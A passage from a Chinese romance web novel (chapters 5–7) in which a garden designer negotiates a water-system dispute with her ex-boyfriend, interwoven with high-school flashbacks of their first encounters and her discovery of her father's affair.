【老高在他们班群里看到,听说这次舒洛原也要去?】
【好久没见过他了,不知道是不是还跟以前一样帅啊?我好奇死了!】
【老高让我陪他一起去,你跟我一起去一下吧,不然我作为唯一的假校友也太尴尬了。】
云诗加的指尖在舒洛原的名字上停滞了片刻,最终回了个“好”字。
回复完,她索性点开下方的好友申请,一并点了同意。
不过是回到故乡的前男友,抬头不见低头见,她还能永远避着他不成?
想通了,也就睡得着了。
云诗加一觉睡到了大天亮,谁知助理金琳在她闹钟还没响之前就打来了电话。
“老板!你不是让我叫工人先去清理杂草吗?我刚从澈园那边回来,我听到了一个很可怕的消息,隔壁蟹塘好像要扩建啊,那我们澈园那个活水不就彻底断了吗?”
金琳的大呼小叫从听筒里传过来,震得云诗加本就没睡醒的脑子嗡嗡的。
她坐起身,拿起床头的水润了润嗓子,慢慢说道:
“什么时候的事情?你慢慢说,不着急,他们也不能一天就把水塘全部都填了。”
金琳激动起来,讲得有些语无伦次,但云诗加多少也听懂了。
她安抚道:“你先忙手上的工作吧,不着急,等我过来再说。”
金琳笑说:“有云总在,我们这帮人什么都不用担心!只要跟着您好好干就行!”
云诗加开了扬声器,一边刷牙一边隔着手机笑骂道:
“别的没学会,拍马屁倒是一套套的。”
挂了电话,她漱了漱口,吐掉了泡沫,在脑袋后把凌乱的头发随手扎了个丸子头,用手捧着温水低头洗净了脸。
抬起头时,水珠还在脸颊上顺着往下淌,她定定地看着镜子里的自己,出神了片刻。
丸子头是十八岁的云诗加最喜欢的发型。
扎得高高的,用粗发圈固定,再在发顶别几个素净的发卡。
一是因为干净利落,低头刷题时视线里没有发丝遮挡。
二是因为……
舒洛原曾经说,她扎丸子头很可爱。
虽然说这话的场景,并不是那么可爱。
云诗加在卢飞雁老师的准许下进入了梅中插班补课。
她回去告诉了父母这个消息。
初时她妈云画还不敢相信,以为女儿被什么骗子给骗了,进入梅中听课对于苏城的普通学子来说简直天方夜谭,但云画细细听了女儿说的前因后果,半信半疑地接受了。
云诗加还说了涂玉棋家长给教导主任送礼的事。
彼时的她虽然还不太懂人情世故,但也有样学样,觉得不能让卢飞雁老师吃亏,便央求云画也去给老师送礼。
云画拗不过她,答应了下来。
但在云画的传统认知里,送礼应当是家里的男人去的,便让云诗加他爸陈明华去,谁知陈明华听了,只靠在沙发上拍着肚子剔牙摆手,说怎么能干这种偷偷摸摸的事情。
无奈,爱女心切,云画便买了两盒她认知里上好的茶叶,领着云诗加,临近过年时,找到了卢飞雁老师的办公室。
母女俩心虚地在办公室的窗口外偷偷觑着,只等其他几位老师都下班了,才探头探脑地进去了。
卢飞雁老师得知云画的来意后,双手连连推拒:
“不不不,这不能收,云诗加妈妈,您不用这样,我不过是觉得孩子努力,举手之劳,也是我作为一个教育者的初心……”
云画素来不会油嘴滑舌地交际,见老师拒绝,也不会说别的,只一味说:
“谢谢您,您收下吧、收下吧……”
卢飞雁老师已经退到了墙角,云诗加的脸上像被滚水泼过一样,火辣辣的疼。
她羞耻于送礼的寒酸,羞耻于母亲不合时宜的笨嘴拙舌,更无法面对内心深处那点无所遁形的自卑。
她只能低着头不说话。
一切僵持着。
突然,办公室门被推开,门上被人象征性地“咚咚”敲了一声。
随后探进来一张脸。
云诗加回头看了一眼,只觉得一股热血轰地冲上头顶,脸颊瞬间燃烧起来,她几乎本能地又迅速低下头去。
“卢老师,我来提前给您拜个早年啦!我爸特地叮嘱我拿过来,说感谢您对我的关照。自家蟹塘里的土特产,不是什么贵重的东西,蒸熟了就能吃,您别嫌弃。”
卢飞雁尬笑着:“今天怎么回事,一个两个的都来送礼,我们有规定的,不能收礼,你们快回去吧。舒洛原,帮我谢谢你爸爸,但这礼品不能收,还有云诗加妈妈,您也回去吧,心意我领了。”
舒洛原波澜不惊地把礼品盒放在了办公室门口光洁的地砖上,往后从容退了一步,耸了耸肩。
“老师,这蟹捞上来几个小时了,再放回去估计也活不了了,您大发慈悲把它们蒸了,也算不浪费。”
说完,他便笑着脚底抹油,跑了。
卢飞雁:“……”
云诗加灵机一动,有样学样,夺过云画手里的礼品盒,也往门口墙角一放,拉着妈妈就快步跑出了办公室。
母女两人跑过走廊,外面的放学高峰已经过去,整个校园安静下来,只有风雨的声音。
“哎呦,我刚刚太紧张了,肚子疼了,妈妈去上个厕所,你在楼下大门口等我吧。”云画捂着肚子进了转角的厕所。
云诗加晃悠悠地走下了楼梯,刚走下一楼的拐角,她的目光又猝不及防地撞上了大厅里的一双眼睛。
舒洛原身形挺拔地站在布告栏前,抬眼对她一笑。
云诗加想忘却刚刚办公室里的拉扯与窘迫,但她不用照镜子也知道,脸上又烧了起来。
舒洛原朝她摊开两侧的掌心,一副无奈状:
“外
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面下雨了,我没带伞,走不了。”
云诗加走下楼梯,勉强牵动嘴角,对他也扯出一个笑容:“那……等雨停。”
舒洛原朝她后面的楼梯上看了一眼,说:
“卢老师没追出来吧?”
云诗加没想到他会主动提及刚才的事,怕别人听到,特意走近了他,环视一圈,密谋似的,压低声音说道:
“应该没有。”
舒洛原笑得很肆意,他突然伸手探向她的额头,冰凉的手背贴上她发烫的皮肤,她瞬间一激灵,抬眼看他,但只是一瞬,他的手已经放下了。
他却仍在笑:“你脸这么红,我还以为你发烧了呢,吓我一跳。你不会是……在为刚才的事情觉得尴尬吧?”
云诗加连连摇头,把头摇得像拨浪鼓似的。
舒洛原低头问她:“摇头是什么意思?”
云诗加也低下头去:“我没发烧。”
舒洛原没再追问,“哦……”
突然一阵风很大,把雨点从雨廊下刮进了大厅,也把云诗加的发际线吹乱了,几根杂发黏在嘴唇上,她伸手捻起。
舒洛原定定看了一会儿她头顶凌乱的发包:
“你这个发型……还挺可爱的。”
云诗加感觉嘴唇上的发丝怎么扯也扯不掉,像黏糊糊的糖浆,把她的嘴封存得软绵绵的,她的声音也变得软软的:
“是……是么?”
这时,一阵低沉有力的引擎声由远及近,轻易地划破了风雨声,一辆银边车门的黑色轿车驶过来,停在雨廊下。
西装笔挺的中年司机下了车,撑开一把黑色长柄大伞,大风将伞面吹得波澜起伏,司机却拿捏得极稳,他小跑着进了大厅,对着舒洛原说:
“不好意思,小洛,我来晚了。”
舒洛原从司机手上接过那柄雨伞,却转头递到了云诗加手里,他笑得和煦:
“喏,借你,到时候还我吧,别淋湿了,容易发烧,拜拜,我先走啦。”
云诗加愣愣地接过,看着日行一善的好心少年小跑了两步,跑进漏风漏雨的雨廊下,钻进了汽车后座,司机也上了车,汽车很快驶离,消失在无边的雨幕里。
云画从楼梯上下来,看见女儿站在大厅门口,撑着一把黑色的大伞,面颊通红,眼神呆愣地望向远方,她拍了拍女儿的肩膀,问道:“怎么了?发什么呆呢?伞哪里来的?”
云诗加摇头:“没什么,同学借给我的。”
“这个不就是你刚刚的那个同学吗?”云画指着门口的布告栏惊奇地说。
布告栏似乎为了迎接新年新气象重新布置过的,大红色的亮面背景图闪着偏光,遍列着梅中的辉煌成绩和教学成果。
优秀学生展示栏里,贴着十几名学生的照片,照片底下列着奖项荣誉和每个人的座右铭。
多数人都只有短短两三行,如“全国数学奥赛一等奖”“肖邦国际钢琴比赛二等奖”,单独拿出来一项,都已经足够辉煌了。
让人难以忽略的是贴在左上角第一位男生,他的照片下方列出的奖项荣誉足足占了近十行。
想是制作布告栏的平面设计师对他有所偏爱,宁愿放弃排版布局的对齐美观度,也要把他的所有奖项都展示出来。
其他人的照片大多选的是轻松的生活照,颜色绚丽,笑容灿烂。
他却是一张证件大头照,嘴角微勾,像素不高,略有些模糊和曝光,大约是他学生卡上那张大头照的翻拍版。
其他人的座右铭大多是“学海无涯”“厚积薄发”云云,他的座右铭写的却是“敬自由、平等与爱”。
云诗加定定地注视着照片里的那双眼睛,听妈妈在身后唠叨:“送了礼老师应该会好好教你的,你既然要来借读就好好读,多向这样的同学学习,多请教别人,妈妈也不要求你考多好的大学,你只要……”
“我跟梅中的同学们都没那么熟。”云诗加打断妈妈的将就理论。
云诗加后来反思过年少时的种种行为和心理,她把这种不听不看不去想的乌龟行为归结为后来网络上热议的拧巴性格。
她不喜欢父母的将就,所以她时常打断他们的话,但她也不会直接戳穿他们的底层逻辑。
后来聊到爱,她也不去问,不去戳破甜蜜包裹的现实泡沫,最后也证明了,拧巴的人除了回忆什么都不会得到。
但少女有她的自得其乐,即便什么都没得到。
送礼回去的公交车上,云画打着盹,云诗加顺着车身的行进摇摇晃晃,把头抵在窗户上磕着,鞋子因为淌过站台的水塘湿透了,她却觉得快乐。
窗外雨里的人影都变得淡淡的,很模糊。
云诗加在想着,他和她,有了一个共同的秘密。
而且她还知道别人不知道的事情,他家里人叫他小洛。
5. 005 真情与假意
停好皮卡车,隔着围墙云诗加就听见金琳的大嗓门像在跟什么人争执。
“这湖又不是你家的,你说挖就挖,说建就建吗?”
云诗加进了澈园,一路走到后门,看见金琳叉着腰站在后门口跟一个男人大声说话。
黄梅天的雨下个不停,金琳的发丝潮乎乎地黏在嘴皮子上,让她的质问看起来没什么气势。
但站在金琳面前的年轻男人更没什么气势,长着一张稚嫩的娃娃脸,面对金琳的诘问,他只默默地挠了挠后脑勺,也不说话,似乎是理亏的。
看清男人的面孔,云诗加不免松了口气。
她上前拉了拉金琳的手臂,金琳本来在气头上,吓了一跳,扭头看清老板的脸,方才捂着胸口说:
“云总,你可来了,他们真是不讲理,说下周就有工人进场,要把和澈园联通的那条水渠填平了,建什么生态示范区?都不跟我们打招呼,幸好我及时发现他们在偷偷测量去问了问,我看他们完全没把我们放在眼里,亏我们昨天还救了他们的人!”
云诗加打量着面前男人的神色,不像是那些不讲理的人,应当还有商量的余地,便拍了拍金琳的肩膀,安抚道:“没事,咱们好好商量。”
“云总是吧?我姓尹,你叫我Jerry就好,我是昨天你们帮忙的舒总的合伙人。”尹奇睿被金琳喷得喘不过气,见她老板来了,终于舒了口气,慢条斯理说道:“我是来替舒总道谢的,没想到被抓住一顿骂……”
“尹总,不好意思,我助理是个至情至性之人,在专业方面很用心,完全是为了澈园的水系着想,不是有意针对为难您,对了,昨天那位受伤的先生怎么样了?”
云诗加一边从口袋里掏出名片递给他,一边不动声色地转移话题。
尹奇睿两根手指夹过名片低头看了一眼,又抬头打量了一眼面前的女人。
长得倒是不错,瓷白的脸,水汪汪的眼睛里似乎盛着连绵的雨水一样,认真看人的时候有种说不清的疑似有情的味道,也怪不得让向来冷静自持的老舒念念不忘,甚至推脱有事让他来道谢。
他把名片收进了自己的口袋里,也没按照礼数回赠,转而挑了挑眉:“骨折了呗,没啥大事儿,休养一段时间应该就好了。”
云诗加揣摩着他轻佻的浑不在意的话意,好奇问:“昨天摔下船受伤的是你们员工?”
“害,是员工就好处理了,是我们的经销合作方,估计今年的单子要黄了,”尹奇睿耸肩,仿佛说的不是自己的事情,“让老舒去操心,我不管商务这块儿。”
云诗加:“……”
合着他所谓的合伙就是各干各的,只管自己的一亩三分地。
她扬唇:“尹总的商业心态值得我学习,不知尹总负责哪一块业务?”
“我只管智能养殖。”尹奇睿完全听不出她话里的嘲讽,倒是好心招呼:“瞧瞧这个雨,真是下个没完,我还真是习惯不了你们苏城的这个天气。云总,金小姐,要不要去我们茶室坐会儿休息一下?”
“不了,”云诗加拒绝,“我们今天还有活儿要干,就不叨扰了,不过水系的事情还得跟您沟通一下……”
“好说、好说,不如我们加个微信吧,后续沟通方便些。”尹奇睿提议。
云诗加不置可否,掏出手机,拿出平日里做乙方的基本态度,“尹总,我扫您。”
两人加上了微信。
见云诗加低头改他的备注,尹奇睿调低手机亮度,偷摸着点开她的朋友圈扫了一眼,微信名是实名的,头像风格像个中年人,基本没什么有用的个人信息,几乎全是工作转发。
他点进置顶的第一条工作宣传朋友圈一看,下方点赞区已经赫然出现了老舒的头像。
亏他还绞尽脑汁帮忙要联系方式,打算去老舒那里邀功,最好是能以此要走几个他看上已久的收藏品,谁知老舒早就已经暗度陈仓了。
那就不怪他推波助澜了。
尹奇睿瞬间在脑子里构想出一个精妙绝伦的助攻计划,没忍住“啧”了一声。
云诗加:“……?”
这位奇怪的尹总,是对她有什么不满吗,就算不满也不该当着她的面表现出来才是。
也不怪刚刚金琳对他大呼小叫的,他确实得负主要责任。
“咳咳,那个……云总,扩建生态示范区主要是我们舒总在负责,我只能帮忙传达一下消息,你有事还是找我们舒总吧,哦对了,你要是有什么智能化的操作系统需要引进的话,欢迎找我们合作,我在这方面是专业的,你看蟹塘上那个自动投喂系统、微孔增氧系统,都是我精心研发引进的……”
他说起专业便侃侃而谈,但没有一句是云诗加爱听的。
云诗加咬紧牙后根,保持仅剩的礼貌微笑说:“暂时不需要呢,谢谢您,尹总,您看,我们要清杂了,泥灰大,得把后门关起来,小心别迷了您的眼睛,我送您出去吧。”
大门一关,云诗加转过身来跟金琳对上眼,互相看透了彼此眼里的无语。
金琳斟酌开口:“要不我去找那位舒总谈谈?咱们昨天好歹出手帮忙了,他总不能恩将仇报吧?”
“他不会。”
云诗加脱口而出,又觉得不妥,只能忽略掉金琳睁大的眼睛,吩咐说:“那几个清理杂草的工人,你去盯紧些,别像上次一样,把花卉误当成杂草拔了。”
金琳“欸”了一声,刚走到花窗的拐角处,又被叫住了。
“水系的事情,我会想办法的,你别管了,安心盯项目吧。”
云诗加的目光幽幽看向园墙上雨水浸润的斑驳痕迹。
金琳没发现她的出神,倒是高兴起来:“好嘞,加姐!哦不,云总!”
看着金琳蹦蹦跳跳地往水池边跑,云诗加无奈地摇了摇头。
金琳是她一手带起来的实习生,也是她力排众议从前司带到初创团队来的,私底下她们走得挺近的,但金琳突然某天郑重其事地通知她说一定要叫她云总,叫加姐容易被客户觉得她好欺负。
但金琳说归说,高兴的时候总是改不了口。
云诗加也随她去了,她爱叫什么就叫什么吧。
仗着云诗加的偏袒,金琳也学会了得寸进尺,从曲径通幽的廊道上绕到了花窗后头,探出半个头来,对着云诗加不怀好意地眨眼睛:“加姐,你跟那个舒总……是不是有什么故事啊?”
云诗加从烦乱的思绪里抽出来,目光涣散盯着花窗后头探究的脸,语气散漫,“能有什么故事,老同学罢了。”
听到这个看似轻巧的回答,联系昨日种种情景,金琳反倒脑补了一段故事,有些忧心忡忡,正色说道:“加姐,你没事儿吧?”
“没事,以后跟他正常工作联系,你别多想。”
云诗加觉得自己没有嘴硬,她昨天不过是对于重逢前任这种事情没有心理准备,需要一些时间调节。
昨天匆匆一瞥,他换了发型,虽然眉宇间还是原来的那个人,但他身上的泥点把她一下子拉回到了现实,他在跟她分开的岁月里,少了许多少年气和隐隐的优越感,多了一些疲惫和沉稳。
所以,她对他没什么可留恋的。
不过是一段年少轻狂的爱情。
想到这里,她觉得自己已经做好了跟他沟通水系的准备。
但舒洛原总是不按套路出牌,她刚打开对话框开始斟酌措辞,他就先发来了消息。
【洗车费账单记得发我报销。】
云诗加想了想,顺势回复:【洗车费就不必了,舒总,有件事情跟您沟通一下,你们蟹塘的扩建会影响澈园的水系,烦请您帮忙让扩建施工团队与我的团队沟通协商一个对策,尽量在不影响澈园水系的情况下施工。】
云诗加屏息站在原地等了许久,好不容易等来了他的回复,就两个字:【好说。】
又等了片刻,没有了下文。
她气得眼皮跳动,嘴角有些抽搐。
亏她还用了敬语,拿出最好的态度,也没有仗着昨天的好人好事拿乔,他却敷衍她。
他怎么能敷衍她?!
但平静下来,她又不得不承认,过去再难搞的客户她都能巧言以对,再难商榷的合作方她都能笑脸相迎,怎么遇到舒洛原,她就气不打一处来呢?
无非是觉得他们有过一段。
云诗加,你切记切记,要拿出专业的态度,别让舒洛原瞧不起你,她心里暗暗鼓着一口气。
【那您没意见的话,我今天就跟您团队的施工方人员进行接洽了,我现在就在现场,还请您跟他们提前知会一声。】
她这段话刚发过去,舒洛原这次回复得很快,但他莫名其妙来了一句:【你手机没事吧?】
云诗加:【?】
舒洛原:【我以前怎么没觉得你对我有这么礼貌呢?您来您去的,手机要是坏了就去修,别舍不得钱,我给你报销。】
云诗加终于憋不住了,手指在屏幕上劈里啪啦一顿打字,没过脑子就点击了发送:【舒洛原,你有毛病吧?!报销你个头!】
她气得脑瓜子嗡嗡的,把手机锁屏扔进了口袋里,恨不得跨过网线去打他一顿。
就知道报销报销报销!
他这十几岁时就有的财大气粗的老毛病总是改不掉!
越想越气,她从兜里翻出车钥匙,气冲冲地往外走,绕着屋檐滴水的回廊走过水榭尽头,面前豁然开朗,她莫名其妙地想起,当年第一次加舒洛原的Q.Q时,她哭了好大一场。
云诗加是成长在二十一世纪时代洪流中的那一批孩子。
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认识舒洛原的那一年,英国进行了脱欧公投,全面二孩政策实施,各类共享单车进行了大规模投放……
外面的世界日新月异,但云诗加对这些变化是懵然无知的。
她依旧在过着将就的、上一个世纪的家庭生活。
那时候,微信尚还没有变成高中生的主流社交软件,支付功能也还在襁褓之中,微信被高中生们视为中老年人使用的聊天工具,他们依旧热衷于在Q.Q空间互相留下足迹和记录生活。
少年们的社交欲与分享欲在Q.Q空间尽数展现,尤其是梅中的学生们,各有各的自命不凡。
云诗加是偷偷抄下的Q.Q号。
涂玉棋借来了舒洛原的物理笔记就放在桌上,云诗加瞥见笔记的扉页上写着舒洛原的名字,下附一行:
重要笔记若有捡拾请联系本人Q.Q,必有重谢。
那一串抄下的九位数字夹在她某本数学错题本里,每次翻阅时都会看见,但直到她对这串数字倒背如流,她都始终没有鼓起勇气加他好友。
梅中的高三生们寒假只放不到十天假,这少到可怜的假期还会被用于补习班和完成假期作业。
但家长们都认为这很值得。
尤其是梅中的学生家长们,恨不得孩子日日泡在学校里,导致梅中不敢关门,只敢在除夕当天宣布休息一天,其余时间都将教室和学校图书馆开放给高三学生们。
在这种群体高压下,云诗加暂住到了大伯陈光华家里。
陈光华不同于弟弟陈明华,是读过书的,在梅中附近的一所小学任教,对孩子的学习也很重视,跟弟弟吃饭时听说侄女在梅中旁听,他立刻提议让她住到他就位于梅中隔壁的家里来。
一开始云诗加不愿意去,她虽然年纪小,但从小吃的亏让她深知,中年男人在酒桌上夸下的海口并不能轻信。
无奈她一向躺平的父亲不知被大伯的哪句话打通了任督二脉,亦或只是一时下不来台,总之他突如其然想树立一个支持孩子学习的人设,先斩后奏给陈光华送了一箱酒作为云诗加借住的谢礼。
这下云诗加不去也得去了。
长辈间的情分总夹着真情与假意。
趁还没过年,陈光华热心帮忙联系了她的班主任说明了她下学期不回青田中学上学的情况,然后把她带回家,给了她一个储藏间的钥匙,储藏间小到她张开双臂就能触到两边的墙壁,堆满了杂物,和一张破旧的沙发,躺平时她必须在头和脚之间选择一个来做悬空的牺牲者。
晚上,她蜷缩在那张沙发上接到了云画打来的电话,她只笑着对妈妈说,一切都好,大伯母还给她做了排骨吃。
其实大伯母是最不欢迎她的,吃饭时没给她一点好脸色,陈光华酒后的海口,最后的照顾责任分明落在了大伯母头上。
盘子里一共六块排骨,他们一家三口各两块,云诗加很懂事地没把筷子伸进那个盘子里徒增尴尬。
云诗加只能在混杂的情分里找寻理解和平衡。
后面几天,她早早出门去教室里刷题,等到夜深再轻手轻脚地回到大伯家里。
教室里的时光总是过得极快,来学校自习的同学不是很多,听说很多人都在校外上补习班,云诗加从前座几个人的议论中得知,舒洛原在Q.Q空间发布了和家人去云南旅游的照片。
某日从梅中校门口走出来时,深夜的街角路灯亮着梦一般的灯芒。
没几天就过年了,每盏路灯下都挂着鲜红的中国结和红灯笼,红艳艳的很喜庆。
梅中位于市中心,周边不少老旧民居和平房,云诗加哼着不成调的歌曲往小巷民居的后头走,心情并没有因为在大伯家的境遇变得多坏。
从卢飞雁老师在墙根下发现她的那一天起,她都愿意相信这是她幸运转折的开始,是她光明未来的起点,她愿意经历一些苦其心志劳其体肤的生活来向神明证明她的努力。
但她后来回忆,不得不承认,那个晚上也是一个转折点。
她先是听到了金属咣当的碰撞声,声音很熟悉,一些中年男人喜欢将钥匙串起来系在皮带上,走路时便会发出这种声音。
拐过一幢两层的民房,左侧巷子的幽暗尽头处,亮着一个暗红色的灯箱招牌,印着白色的字体,旅馆。
按照既定路线,云诗加应该向右拐,但因为声音过于熟悉,她往左看了一眼。
她看到了熟悉的身影。
一个身穿蓝黑色条纹POLO衫的男人,背对着她,朝尽头走去。
云诗加甚至有些惊喜,她以为父亲提前来接她回家过年。
但她想叫住陈明华的时候,她看见陈明华熟络地张开臂膀环住了旅馆前一个女人的肩。
那个女人的裙子也是红色的,红艳艳的。
6. 006 红色,眼泪。
云诗加对于那个晚上的记忆是红色的。
红色的灯笼,红色的中国结,红色的旅馆灯牌,红色的裙子。
她觉得心里也有一簇红色的火苗,扑了几次都扑不灭,终于在那两人缠绕着消失在旅馆门里时烧了起来。
她捂着胸口大口喘息,止不住地发抖。
她忘记了后来怎么跑出的那条巷子,她失去了意识。
等到她撞进一个人的怀里,条件反射说对不起的时候,才发现自己跑回了梅中的后门,脸上是湿的。
被她撞了个趔趄的正是旅行回来的舒洛原。
“你怎么了?是撞痛了吗?对不起。”
舒洛原有些无措地看着面前正在疯狂流泪的女孩。
“你为什么要说对不起?”女孩颤抖着嘴唇问他。
“因为……因为……”他的脑子一片空白,一时忘记了所有高情商的处理办法,他从未直面过这样浓烈的情绪。
“你凭什么说对不起。”
云诗加喃喃一句,绕过他继续往前快步走。
舒洛原跟了上去。
他原本是想回学校取资料的,亲戚孩子问他借竞赛资料,亲戚们还在他家里团聚聊天,他却一时全部忘却了。
他默默跟着哭得无声的女孩,隔着两三米的距离。
路灯把他们俩的影子压短又拉长,重影交叠在一起,忽明忽暗。
云诗加像是没有察觉到他,背着沉重的书包,闷头一直往前走,不知走了有多久,他听见她长长叹了一口气,停在了一家便利店前,突然转头问他:“舒洛原,你要吃烤肠吗?”
舒洛原看着她脸上干涸的泪痕,摸不着头脑,还以为自己听错了:“什么?”
“烤肠,两根。”
云诗加自顾自走进便利店里,付了钱,举着两根烤肠出来了,一根递到他面前。
虽然晚饭吃得很饱,但热乎乎的烤肠,和一个流干眼泪的女孩,舒洛原扪心自问,他没法拒绝。
他接过了烤肠,看云诗加蹲坐在便利店门口的台阶上吃了起来,他进了便利店,从货架上拿了包湿纸巾付了钱。
“喏。”他把湿纸巾塞进了她怀里,蹲坐在她旁边,吃起了手里的烤肠。
烤到皮开肉绽的烤肠很好吃,他很快吃完了。
他看着她抽了抽鼻子,舌尖舔了舔被烤肠润得油滋滋的嘴唇,狼吞虎咽吃完了最后一口烤肠,她抽出一张湿纸巾先擦了擦脸颊上干涸的泪痕,然后擦了擦手,站起身把湿纸巾投进垃圾桶,划出一个漂亮的弧线。
被眼泪洗过的两只杏眼更加清晰发亮,乌黑的眼瞳像一对杏仁,但他无法忽视她拧起的两根眉毛。
头一回他有了一个奇怪的想法,想用一个熨斗把她的愁绪熨平整。
于是他略有些拙劣地问:“吃完烤肠,你想不想来个冰淇淋。”
云诗加扯着嘴角勉强笑了笑,“这么冷的天吃冰淇淋吗?”
“就是要这么冷的天吃才有意思。”
舒洛原的手掌轻轻抓住她的小臂,把她带到了冰柜前,大方表示,“你挑个喜欢的,我请你。”
云诗加又抽了抽鼻子,带着鼻音瓮声说,“你吃吧。”
舒洛原挑了个最贵的牌子,拿了一个巧克力味的,一个草莓味的,付了钱,学着她刚刚的样子,把两支冰棍举在她面前晃悠。
“挑一个?”他扬眉。
云诗加没作声,选了草莓味的,坐回门口的台阶上,剥开包装纸大大咬了一口,然后张嘴斯哈斯哈地吐着冷气。
“冷么?”他觉得自己变得笨嘴拙舌起来,问着如此浅显的问题。
“嗯,冷,太冷了。”
她点了点头,缩着脖子,眼泪不自觉又流了下来,顺着嘴角滑到嘴里。
甜的草莓冰淇淋和咸的眼泪,混在一起,真是矛盾,她想。
陈明华也真是个矛盾的人。
她不愿意相信这一切,可偏偏命运的安排就是这么巧合,一定要扯破这一层遮羞布,让她直面自己本就惨淡的生活。
人人都说陈明华是个老实人,做厨师勤勤恳恳,就是爱打牌,但男人总有些癖好,也没什么,难以让人诟病。
他们还说,男人做了上门女婿,孩子不跟自己的姓,就没了挣钱动力,所以打打牌发泄一下也正常。
曾经她愿意欺骗自己,父亲还是爱自己的,他不过是一个平凡的人,无法克制自己的贪玩欲望罢了。
可是那个红裙子的女人呢?
也是他的欲望吗?
哪怕是以家庭破碎的代价。
她想不通为什么。
妈妈知道吗?
她立马浮现另一个问题。
她伏在膝盖上抽噎着,脑子乱乱的,又忍不住去想,自己哭起来的样子一定很丑,偏偏还让舒洛原瞧见了。
怎么每次出丑都有他在。
他一定是她的克星,她迁怒地怨想。
深夜的街道很安静,她听见身侧有布料摩擦的沙沙的声音,随后一条带着体温的围巾搭上了她的后颈。
准确来说,是一只空落落的羽绒服袖子,轻飘飘的,云诗加感觉自己脖子上像顶着一只大鹅的翅膀。
羽绒服外套的另一半还好端端地穿在他的身上,他抽出的一条手臂被捂在怀里,他缩起了脖子,看起来也有些狼狈。
云诗加止住了眼泪,他笑着说:“本来想把外套脱给你穿,但我里面只有一件薄衬衫,我不想大过年的出现在社会新闻上……”
“什么社会新闻……”
“苏城首例冻死人的新闻。”他眨了眨眼睛,哈了口冷气。
苏城的冬天向来没多冷,但她被他不好笑的幽默冷到了,勉强勾了勾嘴角。
“谢谢你,”她把脖子上的那条羽绒围巾递了回去,依旧和他并排坐着,“不过也不用以生命的代价。”
舒洛原把冷得有些麻木的手臂伸回了袖子里,拉上拉链,笑了出来,“你不哭了就好。”
云诗加突然站起来,对着便利店门口的玻璃反光照了照,若无其事地问:“你怎么不问问我为什么哭。”
“你想说吗?”他的声音很柔和,像在问一个类似于今天天气好吗的寻常问题。
她叹了口气,盯着脚边的一片落叶,沉默良久。
他听见她说:“舒洛原,我能加你的Q.Q吗?”
“当然可以。”
舒洛原没有明白她的脑回路,但还是老实报上了自己的Q.Q号,她把手机掏出来,摁了几下侧键,发现已经没电关机了。
“你带笔了吗?我给你写下来。”他说。
云诗加从书包侧兜摸出了一只红笔递到他手上,等到拉开书包拉链拿本子时,她却摸到了那本记着他Q.Q号的数学错题本。
她抽回手,心虚地摸了摸鼻子,“要不你写我手上吧。”
舒洛原不敢多问,他左手轻轻扶着她的掌根,提笔就写。
他的触碰,笔尖与皮肤的摩擦,都是痒痒的。
像小时候在外
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婆家摸过的小狗,小狗会伸出舌头舔舐人类的伤口,也是痒痒的。
她小时候跌了一跤,摔破了皮,外婆哄她说,被小狗舔过的伤口会好得快一点,云诗加当时不信,说外婆骗人,如今却想,要是真的就好了。
云诗加给手机充上了电,加了舒洛原的Q.Q,他发来的第一句话是:【还冷吗?】
他送她到了大伯家小区的门口才回去,她反问他:【回去的路上冷吗?】
舒洛原回复很快:【还行,应该不至于上社会新闻。】
云诗加把坏心情消化了一些,多了些力气开玩笑:【被笑话冷到冻死的话,会上社会新闻吗?你需不需要负法律责任?】
【明天降温,多穿点衣服。】
云诗加的指尖在屏幕上停留了一会儿,半晌才回复:【嗯,你也是。】
她抱着手机沉沉地睡去,第二天的镜子里出现一双浮肿的眼睛,她只好把头发披散下来遮掩,出门前想起什么,又折回去往羽绒服里套了一件夹棉背心,才背起书包步行去教室。
到了教室,云诗加发现十几个人围着北侧靠窗的位置笑声阵阵,舒洛原正在分发从云南带回来的鲜花饼。
“欸,一人只能拿一个,不许多吃,我没带够这么多份,还以为大部分人都不在教室呢。”舒洛原的声音从人群中传出。
一个跟他相熟的男生开玩笑说道:“哥,我胃口大,下次多给我带几个。”
舒洛原拍掉了那个男生跃跃欲试的手,正色说:“女士优先。”
说完他转过头,颀长的身子在人群中依旧很优越,他的目光穿过来,投在靠南窗的两位女生身上,很自然地招呼道:“云诗加,涂玉棋,你们俩要不要吃?”
云诗加刚要说话。
涂玉棋已经蹦起来了,她跟他们不太熟,没好意思凑过去,但她早就馋了,就等这一招呼了。
“我要我要,给我两个,我给云诗加也拿一个。”
涂玉棋很快取回了两个鲜花饼,塞了一个在云诗加的嘴里,云诗加怔了一秒,嘴唇触碰到的一大片酥皮掉落在她的大腿上,她边吃边拍裤子。
垂下的目光让她突然发现课桌里的卷子堆里似乎夹了一张纸片。
她把它抽出来,是一张明信片,正面印着湛蓝色的照片,近处是宁静的湖泊与晨雾,远处是冒着白尖儿的皑皑雪山。
她的眼皮跳了一下,心脏也猛跳了一下,余光环视四周,没有人注意到她的异样,涂玉棋重新挤到了人堆里,跟他们聊起了过年的安排,
一时人声鼎沸。
她却觉得周遭都是透明的。
明信片被翻过来。
另一面画着一个简易的笑脸:)
云诗加把明信片塞进了书包的最深处,夹在一本厚重的书里,她捂着狂乱的心跳侧头看去,舒洛原被包围在人群中央,他笑容依旧,说着旅行中的有趣见闻。
“我妈非要去游船,结果那天风好大,把我妈的帽子吹掉了,她去追,差点掉进湖里去。”他说话的同时配合着夸张的动作,大家齐声笑了起来。
有的人就是天生有着让人关注和捧场的天赋与资格,舒洛原肯定算一个,他只需要寻常地说话,寻常地笑,寻常地做他自己,就会有人喜欢他。
云诗加觉得昨天红笔写过的掌心也开始发了痒。
她觉得不公平。
他是如此轻巧地、蜻蜓点水般地,在她的湖泊上皱起波澜,可他却依旧如此坦然而自在,让她找不出错处,寻不到踪迹。
7. 007 际遇
云诗加的怒气没有撑过半天,下午她在工作室的内部会议上,收到了舒洛原发来的微信消息。
【水系的事情好说,我明天就让施工的负责人联系你,不过扩建的图纸已经报规,修改的空间不大,我只能施工队配合你做一些跟不影响报规内容的调整。】
云诗加转怒为喜,刚想道谢,就看到下方又弹了一条消息。
他说:【不过,我有一个条件……】
云诗加等了片刻,许久没见他揭晓卖的关子,最终还是她没忍住,趁着设计师们在会后讨论,她刚跨出会议室的门就咬牙切齿地拨了电话过去。
电话一接通,舒洛原磁性的声音就穿透话筒直达她的耳膜,“加加。”
“舒洛原,什么条件?”即使隔着话筒,云诗加也尽量保持着脸上的微笑,好让自己的声音听起来没这么生硬。
“怎么不叫我舒总了?”他的音调有些懒洋洋的。
